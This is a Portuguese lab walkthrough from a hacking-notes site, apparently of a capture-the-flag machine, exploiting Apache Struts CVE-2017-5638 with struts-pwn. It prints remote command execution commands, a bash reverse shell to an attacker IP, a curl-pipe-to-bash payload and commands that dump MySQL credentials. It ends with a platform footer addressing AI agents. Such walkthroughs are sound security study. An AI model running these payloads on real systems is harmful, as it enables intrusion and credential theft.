> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/apache-struts-exploitation-.action.md).

# Apache Struts

## Exploração do Apache Struts (CVE-2017-5638)

#### **Monitoramento de Enumeração de Diretórios**

Durante o registro, a aplicação retorna um erro. O `.action` a extensão sugere uma aplicação Apache Struts.

<figure><img src="/files/e09769780027145f1157e9e0ea631133479769af" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Use `struts-pwn.py` para testar execução remota de comandos:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

O comando funciona, confirmando a vulnerabilidade.

<figure><img src="/files/31d77fcf201963027a760d9fdcd07b2af9c238f7" alt=""><figcaption></figcaption></figure>

#### **Shell reversa**

1. Configure um listener do Netcat:

```bash
nc -nvlp 443
```

2. Crie um `index.html` arquivo contendo a shell reversa:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Hospede o arquivo com um servidor web Python:

```
python3 -m http.server 8080
```

4. Execute a shell reversa por meio do exploit:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Infelizmente, essa abordagem falha.

### **Extração de Informações Sensíveis**

Liste os arquivos no servidor:

<figure><img src="/files/fb368dff4fd9c46414ac9c06e8a64e5728f672ab" alt=""><figcaption></figcaption></figure>

O `db_connect` o arquivo contém credenciais:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/629fe9c08eccb5038ac1e61d33890067bc2ca9b3" alt=""><figcaption></figcaption></figure>

Credenciais do MySQL recuperadas:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* usuário: ssn/\_admin / admin
* senha=AWs64\@on/\*& / admin

<figure><img src="/files/f5b8060769bc2fa16296a008db87956fafcd1fb9" alt=""><figcaption></figcaption></figure>

### Extração de Informações - mysqlshow


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/apache-struts-exploitation-.action.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
